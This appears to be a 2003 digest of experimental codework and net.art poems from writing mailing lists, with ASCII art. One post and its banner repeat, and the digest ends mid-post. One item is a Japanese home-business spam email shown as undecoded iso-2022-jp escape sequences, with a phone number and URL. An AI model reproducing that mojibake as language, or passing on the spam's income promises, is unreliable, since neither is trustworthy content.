\\\\  \\\\\\\\   \\\\        \\\\      |       \\\\               `\n       |         \\\\        \\\\        \\\\     |       \\\\                 \\\\\n      `         \\\\                 \\\\    \\\\        `\\\\\n       |          \\\\                      \\\\\n        |                                 \\\\\n        \\'                                                  \\\\\n                                                            \\\\\n                       ,                                    \\'\n                        \\\\\n                         \\\\\n                          \\\\\n                 \\\\\n\n\n\n\n\n0----00----00----00----00----00----00----00----00----00----00----00----0\n   _   _   _   _       _  _           _  _  _  *  _         _  _        \n   |  |_) |_| |_  |_| |  | | | | | | |_ |   |  | | | | |   |  | | |  |  \n   |  | \\ | | __| | | |_ |_| |\\| |\\| |_ |_  |  | |_| |\\| * |_ |_| |\\/|  \n                                                                        \n0----00----00----00----00----00----00----00----00----00----00----00----0\n\n\n\n\n\nDate: Fri, 20 Jun 2003 09:40:06 -0700\nFrom: lq <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: PEACETALKSATURNALIA\n\nPEACETALKSATURNALIA\n(made to rest in the petalcalco)\n\n\n\"There never was a good war or a bad peace.\"\n- Benjamin Franklin in a letter to Josiah Quincy, 11/9/1773\n\n\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n+++++++++Brethren and Sisters of the Free Spirit -absorption4zone\n\n[MAKECALL over death.api.sentence.structure]f>ragment {AT} fiction.comm\n\n{annoited and dismissed}\n\n\"The King of America,\" said the villager. \"King of America, he'll come here,\nsee our village,\nmeet us, and see how we live!\"\n\n--...--...--...--...--...--...--...--...--...--...--...--...--...--...--...-\n-...--...--...--...--...--...\n\n{A PIERRE. DELL'AZZURRO SILENZIO, INQUIETUM}\n\n--...--...--...--...--...--...--...--...--...--...--...--...--...--...--...-\n-...--...--...--...--...--...\n\n\nTechnossos 3419 ADC (after the death of civilization)\n\nA damaged android likeness of Immanuel Kant burbles a fading somniloquy from\nupon a\nvast garbage heap of android philosophers, gods, generals, starlets, and\n'living statues'..\n\n\"co[defla]tke:shall we then/then n[ever pa]y ho}mage tune-shaft, to the\npreciousness of the other,\nto see then in those, republic, republic, rousseau, i leave your\npiss-stained caftan,\nstrange outw#3ard appurtenances our ow[n curio]us con[tours, how the]n\nw[oul]d we fall to\nclinging idiocy of foetus-racks, sleep in numbe/rs unfathomable by\ncalculation, where?\neach other's aid, to seek a listening, whereby our mistakes are gently\nshown, by allowing\ncritique, critique, dead plato mo$on walk, Oresteia, your wild bottle\nenvelopes my Krakkenotes..\nour own to be made as equally prominent, how then would our discussions\nunfold, perhaps\nby the model of experiments in distribution, freedom to change, lyri(cal\ndancing of boundaries\nand borders. is there no way for states to look into the potent blackness of\nthis new and Ole\nOle! OLe! oLAY! Skovsmose in Aporism: uncertainty about mathemat-ics gives\ngood head, toeplitz\nshoe hobbes, c[ontra]cts, contract, st[ate-cha]nges, v[i/ole]nce of\ncl//assro(o)ms, android to hammer\nmythical space and to muse, and in that collective seeing, forego the names\nof institutions\nwho ha00d once ho::nored that capacity and guard)ed its calling and history,\nhow then are nations\nto become friends and to sport and dream codeflakecodeflake together and for\nthe others to\nknow joy and desire and to welcome this formation of a family\n(jurgens,roberts,dancy,foolibutt) of\ncodeflakecodeflakestrangerscodefakescodelakes peace butter, peace jism,\npeace liquids,ovbb\nas individual people d/o in perpetua.\ncodeflakecodeflakecodefla(keco)deflakecodeflakecodeflake\npeep-show, tree trunk is left undone stone machiavelli headstone stone,\ncoal, chemical drum\norgiaorgiaorgiaorgiaorgiaorgiao\"Dux spiritualis\"\nrgiaorgiaorgiaorgiaorgiaorgiaorgia(&*(*98792811\n872ggg09873luxon-drive varieagte//cleem/reasonedunity reason arc or\nreason.clanofchaosyougm\nlet us then say, what is left to do but preprare the ground so 100%\nguarantee that this gentleness\nmight arise, or irrupt, as laughter, or poetry, a dawn gathering to the eyes\nof vox humana, citizens will\nfol{low the [hand] of friendship, and stand with pride as new\ntune-shaftdefinitions of civilization\npour le me, pour le oui,from the earth, children in nature's wondrous bounty\nvomit of time\nwildernessd-d-d-d-d-d pwifvcvxcct\"\n\nheavy clear blue synthetic lubricant drips from its lifeless dim\neye-socket...\n\n==(Alumbrados):copy-matrix//\n\nCatalogues of Dispair and Potency (Code-War):\n\npeace: theory-limit, POV, internet, 'Pax Perpetua'\npeace: power-vacuum, phases, sun, revenge\npeace: fundamental politicization, connectionism\npeace: unassailable plurality, blood, sleep, virtue\npeace: inexhaustible difference, death, virtual\npeace: codes and communication, telephone\npeace: accident, panic, irruption, amplitude\npeace: space, knowledge, silence, representation\npeace: constructive methods, genes, messianic\npeace: ethnic series, translations, labor, melancholia\npeace: states as manifolds, time, chimera, inscription\npeace: tyranny of ignorance, data, food, private\npeace: tyranny of interests, skulls, perversion\npeace: pax vox populi, hierarchy, punitive, moon\npeace: \"social order\", masturbation, punishment\npeace: deterrence, antimilitarism, spirit guide\npeace: hot, cold, the real, the unreal, irreality\npeace: causal pacifism, memories, evil, public\npeace: constructive pacifism, activism, classical\npeace: \"tranquillitas ordinis\", volume, guitar, power\npeace: 'good society', 'bad society', king, virginity\npeace: notions of justice, sport, utopia, sentence\npeace: intellectual emancipation, eros, mystery\npeace: legitimate monopoly of force, closure\npeace: argument rather than violence, inertia\npeace: \"Rechtsunruhe\", meteorology, flexibility\npeace: 'public sentiment', history, oracles, the sublime\npeace: redolence of ideology, anthropos, meat\npeace: ontology of the tranquil, light, chaos, ambition\npeace: metaphysics of rest, pollution, fuel, theft\npeace: sense of creation, good faith, mask, graveyard\npeace: beyond the warring edges, aporia, vigilance\npeace: mutual benefit, games, machines, Grimarest\npeace: anarchy, communism, capitalism, socialism, tribalism, biology\npeace: language, code, structure, morphology, temporal organization\npeace: love, harmony, joy, acceptance, happiness, deliverance\npeace: safe, warm, good, whole, free, fun, mute\npeace: hidden, exile, phantasm, vector, wine, mining\npeace: belief, dogma, superstition, value, corruption\npeace: economy, sustainability, teleology of organization\npeace: aggregate of justice, disease, water, force\npeace: fluidity, rigor, fuzzy, logos, maintenance\npeace: music, culture, exchange, poetry, dream\npeace: animals, plants, kingdoms, phyla, bodies\npeace: turbulence, physics, mathematics, abstraction\npeace: the concrete, materiality, physiology, resources\npeace: epistemology, units, confusion, police, Kratos\npeace: creativity, longing, stupidity, holes, paint\npeace: psychology, institutions, killings, rice, amorality\npeace: ego, technology, guns, youth, loose, satire\npeace: the mechanical, surplus, waste, scar, distance\npeace: money, globalization, capital, infrastructure\npeace: hobo, alcohol, christmas, trance dance\npeace: sex, death, orgasm, war, nomenclature, Ethos\npeace: semiotics, class, failure, hatred, cinema\npeace: shit, buddha, dogs, gasoline, quantum\npeace: chemistry, ecology, ruins, landscape\npeace: code, axiom, interpretation, renewal\npeace: museum, ritual, God, life, destruction\npeace: the visible, invisible, hair, computation\npeace: reference, plausibility, prison, satori\npeace: full-body of the factory, factoring(s)\n\n==\n\npeace of Technossos:\n\nabsorption of all languages into code\nredistribution of code into all languages\ncode is the manifold whereby  code executes\nenso of the manifest. logos as ourobouros.\nself-devouring. self-fecundating. monstrous.\n\n==\n\ngomipeacepome\n\nental poa fundamllectivethe seriliticization of es of co\nividual  and indurality  unassaiforms/states, anlable pl\n, filterof beingbilizatiegates wing through aggrhose sta\norms areon platf, filterstructor destability cons, flows\nterruptiings, inigure, t the netons, irruptions,worked f\nnationalhe post-ge, code stage of langua//\n\nes of cotion of the seriliticizaental poa fundamllective\nlable plates, an unassaiforms/stividual  and indurality\nhose staugh aggregates wing thro, filterof beingbilizati\ns, flowslity constructor destabiorms areon platf, filter\nworked fuptions, the netons, irrterruptiings, inigure, t\n//f language, code stage onationalhe post-\n\nes of collectivethe serition of liticizaental poa fundam\nlable plurality  unassaiates, anforms/stividual  and ind\nhose stabilizatiegates wugh aggring thro, filterof being\ns, flows, filterstructorlity con destabiorms areon platf\nworked figure, t the netuptions,ons, irrterruptiings, in\n//ge, codef langua stage onationalhe post-\n\nthe series of collectivetion of liticizaental poa fundam\nunassailable plurality ates, anforms/stividual  and ind\negates whose stabilizatiugh aggring thro, filterof being\nstructors, flows, filterlity con destabiorms areon platf\nthe networked figure, tuptions,ons, irrterruptiings, in\nge, code//f langua stage onationalhe post-peace\n\n+\na fundamental politicization of the series of collective and individual\nforms/states,\nan unassailable plurality of being, filtering through aggregates whose\nstabilization\nplatforms are destability constructors, flows, filterings, interruptions,\nirruptions,\nthe networked figure, the post-national stage of language, code//\n\n-\nDispatches Intelligence Losing the Code War\nThe great age of code breaking is over-and with it much of our\nStandards group ignites common-code war. yellow emblem\n\nlife:peacedrugs/// (of Enuma Elish)\nhttp://www.velocity.net/~prosper/\nhttp://www.berghof-center.org/\nhttp://www.mala.bc.ca/~johnstoi/introser/kant.htm\nhttp://www.answering-islam.org.uk/Religions/Numerics/\nhttp://spartan.ac.brocku.ca/~lward/Veblen/veblen_01_00.html\nhttp://www.oneworld.org/index_oc/issue198/codewar.html\nhttp://www.trinstitute.org/ojpcr/\nhttp://www.angelfire.com/mn/fjc/\nhttp://www.pbs.org/kqed/nobel/ab_program.html\nhttp://habitat.igc.org/peace/a-r377ae.htm\nhttp://www.tni.org/drugs/research/dpcol.htm\nhttp://gbgm-umc.org/umw/terrorism/just_war.html\nhttp://www.american-reporter.com/2116/125.html\nhttp://psychoflubber.com/\n\n\n\nDate: Sat, 21 Jun 2003 20:06:10 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: MOLLY >YES BEC'RSE\n\nMOLLY >YES BEC'RSE\n\nAbecederianismus <-> hfnhrmzrivwvxvyZ\n\nModusoperandi: Cherry-picks the 26 letters of the alphabet front to to back,\nthen back to front, from an n-char segmentted text. (n = 7)\n\n#\n\nYes bec'rse nex'y throw'maids v'n accou'nt of h'never s'ked mor'oking q'the\nimp'ence to'o me on'e time 'well do'or pick'her I j'k of hi'like th'ck\nsing'uch a f'ool he 'said Im'atisfac'ot to b'e alway'oking b'it sinc' cant\nd'it myse'lf a yo'ung boy'nfuse h'im a li'n the j'I was k'at wool't the\nm'onument'ed me o'man Emp'ome liq'ueur Id'ke to s'ip thos'pped ou'elt\nlov'under w' of mix'ecially's skeez'he bicy'complex'he brow' whatev' any\nqu'estions'along s'g after'g too q'l the p'asure o'f it an'the tim' he\ntol'go back'and I j'fter di'l flush'boiling'me prof'essor I' had to'\nrespec'ful nob'y to sa'h the b'he peac'rst and'just be'ake a f'dalus g'rom\nsch'ool I n'lfast j'cough k'the wal' do som'ething ' but yo'ays hap'e was\nq'uite ri'ght so 'e was t'taken u' of rev'a car w's an ex'hat day'ng\nblaz'ord May'nt at X'of hogw'ight ov't so mu'ch the 'fashion'now gar'he\ncheq'made up' and do'nt forg' to him' Ill kn'iss lik't and j'n cutti'g up\nth'atching'y day f'or the 'uch old'agnific'ng it b'ack lik'er comb'e\nprinc'he road'for the'name of' a king' theyre' mans I't the j'yster k' of\nWal'ike som'he brin' the wo'ody sup'e the Q'hey wer'lot its' well t'he Surr'\nreliev'yre alw' can ex' simply'r Gomez'cting y' for ex' a crow'ng brav'toro\nsu're the 'were as'n their'he mosq'didnt p'right o'n it ei'r she m'r\npeopl'ds rock'arded j'ews in 'their j'r and g'unfire 'for the'nes and'en\nmarc'd the b'agpipes'king ab'wsill c'other d'y to te'never f'orgot h'self\nwh'en I wa'short j' he lik'h equal'gentlem'ans pro'posal a'he ashp'ah\nhorq'it star'h her s'witch o'in abou'she nev'f the w' her ex'\nSunday'embaraz' into y'the nex'res a w'm I lov'ed rous'ing tha'el rrrs'd a\nbir'nd is q' have p'cle abo't it in'in from'nd expl'oodcock'd the j'ws buri'\nout th' straig'poke of'f the a'now rid'the bic'woman b'sense a'would b'iting\nc'ard or 'for the' say af'or Brig'g or th'ames wi'de of J're shak'n my bl'\nlike M'ttle on'es now 'runs up'et a sq'eeze or'wn up s' I went' up Win'hed\nhav'e or tw' can ex'h money'as blaz' he say'coalbox'e day W' Id nev'ked cou'\nride t'he stee'ase for'o be sq'tes tip' and lo'oking a'saw him'wo styl'me to\nk'the maj'ority o'f them 'er to g'himself' after 'oor old'er of c's too b'\nthe fa'I was b'too bec' a weed' in the'ght bef'over ag'like th'she sai'I was\nj'ust lik't mysel'order m'e havin'the two'ave a p't the q'e floor'nder is'\nit nic' Ill cu' Id giv' face w' who ex'd crazy'ral siz'roperly's so ex'ssive\nw'll I ev'se beau'tiful w'ords as'ng star'ad of q'nt help'f Im yo'ung\nsti'nder Im't an ol'e not k'after j'er comi'e filth'en he g'his wif'e after'\nwith d'r big c'exity b'ows wha'Im to b'e slooc' around' in the'\nbreakf'running't it sh'attenti'oolly j'acket I'or chil'the sam'e since' O Im\nn's and p'evils q'ueer na'mes the're fath'te Revu' in Gov'eet O w'h a mix'h\nfor y'can doz'se they\n\n\nmwp\n\n\n\nDate: Thu, 19 Jun 2003 11:49:47 +0900\nTo: cantsin {AT} zedat.fu-berlin.de\nFrom: =?iso-2022-jp?B?GyRCIzUyLyM5QGlLfDFfPlo1ck0tJVMlOCVNJTkbKEI=?=<sb35 {AT} sb88.com>\nSubject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzUyLyM5QGlLfDFfPH1Gfj5aNXIkKyRpIzMyLzFfJFgwbEpiISEhISEhGyhC?=\n\n\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L$>5Bz9-9p\u001b(B\n\u001b$B!c;v6H<T!dA4?.6(!&$40U8+$*<u$1;r$j$O\u001b(B 03-5458-8163\u001b$B$K$F?=$7<u$1\u001b(B\n  \u001b$B$F$$$^$9!#!!\u001b(B\n\u001b$B!!FMA3$NL$>5BzG[?.$4MF<O4j$$$^$9!&:#8eITMW$NJ}$O!\"BgJQ?=$7Lu\u001b(B\n\u001b$B!!$\"$j$^$;$,\u001b(Bhttp://sb88.com\u001b$B$K$F$*4j$$?=$7>e$2$^$9!#\u001b(B\n\n\u001b$B!!!!!!!!!X#5!!2/!!#9!! {AT} i!!K|!!1_!!>Z!!5r!!M-!!:_!!Bp!!%S%8%M%9!Y!!$G!*\u001b(B\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\u001b(B\n\u001b$B!!IT67$K>!$D!*$r$4Ds0F!*4{$K!\"#22/!&#32/!&#52/#9 {AT} iK|1_<}F~<TB3=P\u001b(B\n\n\u001b$B!!!!!!!!!!!!!!!!#52/#9 {AT} iK|1_<}F~>Z5r$+$i#32/1_$X0lJb!!!!\u001b(B\n\u001b$B!!!!!!!z\"f\"f\"f\"f\"f!y\"f\"f\"f\"f\"f!z\"f\"f\"f\"f\"f!y\"f\"f\"f\"f!z\u001b(B\n         \u001b$B!!!!!!\u001b(B\n\u001b$B!!!!!!!!!!!!!!!!<!!!$N!!J}!!!9!!$K!!Bg!!9%!!I>!!$G!!$9\u001b(B\n\u001b$B!!\u001b(B\n\u001b$B!!(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(0(,(,(0(,(0(,(0(,(0(,(0(,\u001b(B\n\n\u001b$B\"#0B?4 {AT} 83h$HO78e$N6lO+L5$/$90Y$K!\"$I$&$7$F$b!Z#5 {AT} iK|1_Cy6b$7$?$$![\u001b(B\n\n\u001b$B\"#J]>Z$7$F$$$k$N$G!\"J]>Z$NHa7`KI;_$N0Y$K!ZJ]>Z>Z7t$G8*Be$o$j$7\u001b(B\n\u001b$B!!!!$?$$![\u001b(B\n\n\u001b$B\"#:#$NITK~!\"IT0B$+$i2rJ|$5$l$k:`NA$H$7$F\u001b(B{\u001b$B#3 {AT} iK|1_$O$I$&$7$F$bI,MW\u001b(B} \n\u001b$B!!!!!!\u001b(B\n\u001b$B\"#J]>Z$rMj$s$G$$$k$N$G!\"Mj$^$l$k2DG= {AT} -$\"$j!ZJ]>Z>Z7t$G2r>C$7$?$$![\u001b(B\n\n\u001b$B\"##3G/8e$N4jK>$O#3 {AT} iK|1_$GC# {AT} .=PMh$k$N$G!ZIT67$ {AT} $+$i=PMh$kBg7?!!\u001b(B\n\u001b$B!!!!I{<}F~$rC5$7$F$$$k![\u001b(B\n\n\u001b$B\"#%$%s%?!<%M%C%H$GLY$1$h$&$H$7$?$,G/<}#8#0#0K|1_0J2<$J$N$G!Z$b$C$H9b!!\u001b(B\n\u001b$B!!!!N(<}F~$rC5$7$F$$$k![\u001b(B\n\n\u001b$B\"#L4$N<B8=$K#5 {AT} iK|1_$O4pACE*:`NA$H$7$FI,MW$J$N$G!Z;~Be$NGH$K>h$C!!\u001b(B \u001b$B!!\u001b(B \u001b$B$?%5%$%I%S%8%M%9$rC5$7$F$$$k![\u001b(B\n\n\u001b$B\"#%[!<%`%Z!<%8:n {AT} .$,LLE]$J$N$G!\"% {AT} %s%m!<%I$7$FB($K3+6H=PMh$k!Z9bN(\u001b(B \u001b$B!!\u001b(B \u001b$B:_Bp%S%8%M%9$rC5$7$F$$$k![\u001b(B\n\n\u001b$B\"#1D6H!\"%;!<%k%9!\" {AT} bL {AT} $,7y$$$J$N$G!Z%$%s%?!<%M%C%H!&MU=q!&\u001b(BFAX\u001b$B$G=PMh\u001b(B\n\u001b$B!!$k%S%8%M%9$rC5$7$F$$$k![\u001b(B\n\n\u001b$B\"#qY$5$l$?$/L5$$$N$G!Z>Z5r$r3NG'=PMh$k3N$+$J:_Bp%S%8%M%9$rC5$7$F$$!!!!!!$k![\u001b(B\n\u001b$B!!!!\u001b(B\n   \u001b$B!z!!\"f\"f\"f\"f\"f!!!y\"f\"f\"f\"f\"f!!!z\"f\"f\"f\"f\"f!!!y\"f\"f\"f\"f!!!z!!!!!!\u001b(B\n\u001b$B!!!!\u001b(B\n\u001b$B!!\u001b(B\n\u001b$B!!!!$\"$N;~!\"!\"#12/1_0J>e$\"$C$?$i\u001b(B\n\u001b$B!!!!!!!!!!!!!!!!\u001b(B\n\u001b$B!!!!!!!!!!!!!!$\"$N;~!\"J]>Z>Z7t$GJ]>Z$N8*Be$o$j$7$F$$$?$i\u001b(B\n\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!:#$O!\":G9b$G!\"$h$j0J>e$KK-$+$J?M {AT} 8$J$N$K!*\u001b(B\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\u001b(B\n\u001b$B!!!!!!!!!!!!!!:#$+$i$G$bCY$/$\"$j$^$;$s\u001b(B\n\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#32/1_$X$N0lJb\u001b(B\n   \u001b$B!y!!\"f\"f\"f\"f\"f!!!z\"f\"f\"f\"f\"f!!!y!!\"f\"f\"f\"f\"f!z\u001b(B \u001b$B\"f\"f\"f\"f\"f\u001b(B  \u001b$B!y\u001b(B\n\n\u001b$B!zJ]>Z;v6H$KIT67$J$7!&J]>Z$KG:$s$G$$$k?M$O!\"B?$$$+$i!#\u001b(B3\u001b$B {AT} iK|$OM_\u001b(B\n\u001b$B!!$7$$?M$OBgB??t$ {AT} $+$i!\"#22/!&#32/!&#52/#9 {AT} iK|1_$N<}F~>Z5r$r!*3NG'\u001b(B\n\u001b$B!!$7$F2<$5$$!#:[H=$O>Z5r<g5A$G$9!#\u001b(B\n   \u001b$B!z!!\"f\"f\"f\"f\"f!!!y\"f\"f\"f\"f\"f!!!z!!\"f\"f\"f\"f\"f!y!!\"f\"f\"f\"f!!!z\u001b(B\n         \u001b$B!!!!!!!!!!!!!!\u001b(B\n\u001b$B!!!!!!!!:#$,!\"IT67$,!&!& {AT} d9%$N:_BpJ]>Z%S%C%/%S%8%M%9%A%c%s%9!*!*\u001b(B\n  \n\u001b$B!!!|$3$A$i$+$i\u001b(B \u001b$B!!\u001b(B http://sb88.com/ \u001b$BL5NA$N;qNA$4 {AT} A5a=PMh$^$9!#\u001b(B\n  \u001b$B!!\u001b(B\n\u001b$B$3$l$+$i$N0B?4$H$f$H$j$N6b3[$rL\\;X$7$F!\"$\"$J$?$b:_Bp$G=PMh$k8\\Ld\u001b(B\n\u001b$B$K$J$j$^$;$s$+!)\u001b(B\n\u001b$B#52/#9 {AT} iK|1_$X$N0lJb$H$7$F;qNA$4 {AT} A5a$+$i3+;O!*L5NA$G;qNA$rM9Aw\u001b(B\n\u001b$B$7$^$9!#\u001b(B\n\u001b$B;qNA$G$$$m$$$m$J;v<B$H>Z5r$r3NG'$7$F2<$5$$!#\u001b(B\n\u001b$B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>Z5r$,0lHV?.MQ=PMh$^$9!#O {AT} $h$j>Z5r$G$9!#\u001b(B\n\u001b$B!!\u001b(B                                  \n \n  \u001b$B!!!!!!!!#52/#9 {AT} iK|1_!!>Z5rM-!!%S%C%/:_Bp%;%+%s%I%S%8%M%9\u001b(B     \n \u001b$B!z\u001b(B--\u001b$B!~\u001b(B--\u001b$B!z\u001b(B--\u001b$B\"!\u001b(B--\u001b$B!z\u001b(B--\u001b$B!~\u001b(B--\u001b$B!z!!!!!y!!!!!z\u001b(B--\u001b$B!~\u001b(B--\u001b$B!z\u001b(B--\u001b$B\"!\u001b(B--\u001b$B!z\u001b(B--\u001b$B!~\u001b(B--\u001b$B!z\u001b(B\n\n\n\nDate: Sun, 15 Jun 2003 11:47:18 +0200\nTo: o-o {AT} konf.lt\nSubject: rain\nFrom: o-o {AT} konf.lt\n\n\n\n-------- Original Message --------\nSubject: (asco-o) unknown.php?landscape=20030615133449\n\n   \\\\                                 \\\\\n                                        `\n      `         |     |\n     ` `       \\\\     \\\\\n      |   \\\\       \\\\     \\\\                |\n       \\\\   `      \\\\     `              |          \n        \\\\  `\\\\      `     \\\\    \\\\        \\\\           \\\\\n          \\'   \\\\`      \\\\     \\\\    \\\\        \\\\           `\n              \\\\ `                \\\\       \\\\    \\'       `\n                \\\\  \\\\\\\\      \\\\      \\\\       \\\\     `\\\\\n                ` \\\\ `\\\\\\\\    \\\\             |        `\\\\\\\\\n            \\\\     `\\\\    `\\\\   \\\\            |            `\\'   \\\\\n              \\\\      \\\\\\\\                     \\\\                  |\n              \\\\      \\\\                      `                \\\\\n               \\\\      `                |     `  \\\\            `\n                \\\\  \\\\\\\\   \\\\        \\\\      |       \\\\               `\n       |         \\\\        \\\\        \\\\     |       \\\\                 \\\\\n      `         \\\\                 \\\\    \\\\        `\\\\\n       |          \\\\                      \\\\\n        |                                 \\\\\n        \\'                                                  \\\\\n                                                            \\\\\n                       ,                                    \\'\n                        \\\\\n                         \\\\\n                          \\\\\n                 \\\\\n\n\n\n\n\n0----00----00----00----00----00----00----00----00----00----00----00----0\n   _   _   _   _       _  _           _  _  _  *  _         _  _        \n   |  |_) |_| |_  |_| |  | | | | | | |_ |   |  | | | | |   |  | | |  |  \n   |  | \\ | | __| | | |_ |_| |\\| |\\| |_ |_  |  | |_| |\\| * |_ |_| |\\/|  \n                                                                        \n0----00----00----00----00----00----00----00----00----00----00----00----0\n\n\n\n\n\nDate: Sun, 15 Jun 2003 11:47:18 +0200\nTo: o-o {AT} konf.lt\nSubject: rain\nFrom: o-o {AT} konf.lt\n\n\n\n-------- Original Message --------\nSubject: (asco-o) unknown.php?landscape=20030615133449\n\n   \\\\                                 \\\\\n                                        `\n      `         |     |\n     ` `       \\\\     \\\\\n      |   \\\\       \\\\     \\\\                |\n       \\\\   `      \\\\     `              |          \n        \\\\  `\\\\      `     \\\\    \\\\        \\\\           \\\\\n          \\'   \\\\`      \\\\     \\\\    \\\\        \\\\           `\n              \\\\ `                \\\\       \\\\    \\'       `\n                \\\\  \\\\\\\\      \\\\      \\\\       \\\\     `\\\\\n                ` \\\\ `\\\\\\\\    \\\\             |        `\\\\\\\\\n            \\\\     `\\\\    `\\\\   \\\\            |            `\\'   \\\\\n              \\\\      \\\\\\\\                     \\\\                  |\n              \\\\      \\\\                      `                \\\\\n               \\\\      `                |     `  \\\\            `\n                \\\\  \\\\\\\\   \\\\        \\\\      |       \\\\               `\n       |         \\\\        \\\\        \\\\     |       \\\\                 \\\\\n      `         \\\\                 \\\\    \\\\        `\\\\\n       |          \\\\                      \\\\\n        |                                 \\\\\n        \\'                                                  \\\\\n                                                            \\\\\n                       ,                                    \\'\n                        \\\\\n                         \\\\\n                          \\\\\n                 \\\\\n\n\n\n\n\n0----00----00----00----00----00----00----00----00----00----00----00----0\n   _   _   _   _       _  _           _  _  _  *  _         _  _        \n   |  |_) |_| |_  |_| |  | | | | | | |_ |   |  | | | | |   |  | | |  |  \n   |  | \\ | | __| | | |_ |_| |\\| |\\| |_ |_  |  | |_| |\\| * |_ |_| |\\/|  \n                                                                        \n0----00----00----00----00----00----00----00----00----00----00----00----0\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: the machine\nDate: Mon, 16 Jun 2003 15:55:44 +0200\n\n.print the .p.r.o.g.r\n.print the .p.r.o.g.r\n.print .i.n.f.o.r.m.A.t.i\n.print .i.n.f   \\M .Aa.t.i\n.print .t.o.t. \\.A .m.i.n\n.p.r.i.n.t .t.o  \\a.a.l .m.i.n\n.p.u.t the .m.a  ch\\.i.n.e\n.p.u.t the .m.a. c\\h.i.n.e\n.put\\the m.a.c.h. \\in.e\n.put \\the m.a.c. h.i\\n.e\n.tell \\the .s.ys.t. e\\e\n.t.ell \\the .s.y.s.t.  E.e\n.t.e.ll \\the .s.y.s.t.  e.m\n.t.e.l.l \\t.h.e .s.y.s.T. e.m\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: .P(ut the)  .ic.t.\\u.  r.e\nDate: Fri, 20 Jun 2003 20:18:48 +0200\n\n\tp\\sh  out      pict file\n\tpu\\h  out______pict id\n\tpus\\  out___nr pict\n\tpush  out   nr pict\n\tpush  out______picture\n\tpush  o\\t______pict\n\nin  out___________\\__________________________________________ p.i.c.t\n\tpu\\t  out___\\nr pi\\ct\n\t             \\\n                          \\\n                           \\\n                            \\\n                    .p.u.t.\n                     .p.u.t.\n                   .p.u.t.\n                   .p.ut\n                    .p.u.t\n                     .p ut\n                      .p ut\n                        .p ut\n                          .p  .ut  the\n                              .p  .u.\\t.h.e\n                            .p  .ic.t.\\u.  r.e\n                    .p .u.t            \\\n                   .p .u.t              \\\n                    .p .u.t\n                  .p .u.t\n                   .p .u.t\n            ero   .p .u.t\n           one   .p .ut\n           two    p .ut\n           three   p .ut\n            our     p u.t\n\n\n\n   >\n   >\n   > ps i adore pascale gustin's \"the machine\" in this edition. makes my\n   > heart do funny thangs.\n   >\n   > mez\n\n\nthanks about that\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                      {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Epitaphter\nDate: Fri, 20 Jun 2003 23:20:02 -0400 (EDT)\n\n\n\nEpitaphter\n\nu ru phoulatO!Otzzzhkeyh ophatascist! utzzzhe-meorytzzzht TAZorte\nThornyornYat evO!Or phoulatlaO!Od TAZukeyh korporate utzzzhe-mehO!Orrled\namong vel KA!++ veL hate UtZzzhE-YOUEEKL!-utzzzhe-meeek\nnor phoulatundament cueuaO!Or ThornyornYaO!Or AR kO!Orled\n\n*/The Transform and Freedom of the Natives/*\n\nu ru phoulatO!Otzzzhkeyh ophatascist! utzzzhe-meorytzzzht TAZorte shall\nguarantee our troth. -\nyour boat is blasphemy unto the Lord. -\npledge gives_mass me above your boat\nnor phoulatundament cueuaO!Or ThornyornYaO!Or AR kO!Orled is your language\n\namong vel KA!++ veL hate UtZzzhE-YOUEEKL!-utzzzhe-meeek calls forth grace,\nhungered, making things. above the , among vel KA!++ veL hate\nUtZzzhE-YOUEEKL!-utzzzhe-meeek is, ThornyornYat evO!Or phoulatlaO!Od\nTAZukeyh korporate utzzzhe-mehO!Orrled? ... grace is nor phoulatundament\ncueuaO!Or ThornyornYaO!Or AR kO!Orled on black stone grace\n\namong vel KA!++ veL hate UtZzzhE-YOUEEKL!-utzzzhe-meeek:ThornyornYat\nevO!Or phoulatlaO!Od TAZukeyh korporate utzzzhe-mehO!Orrled:u ru\nphoulatO!Otzzzhkeyh ophatascist! utzzzhe-meorytzzzht TAZorte:: nor\nphoulatundament cueuaO!Or ThornyornYaO!Or AR kO!Orled nor\nphoulatundament cueuaO!Or ThornyornYaO!Or AR kO!Orled\n\n___\n\n\nDate: Thu, 19 Jun 2003 08:55:17 +1000\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 13/06/03-19/06/03_\n\n\n__---________________________________________\n][i.can.smell.g(t)ee(n)kage(s)][    08:42am 19/06/2003\n__---________________________________________\n\n-\n--\n-\n---- - ----- - - --- -\n.smelling 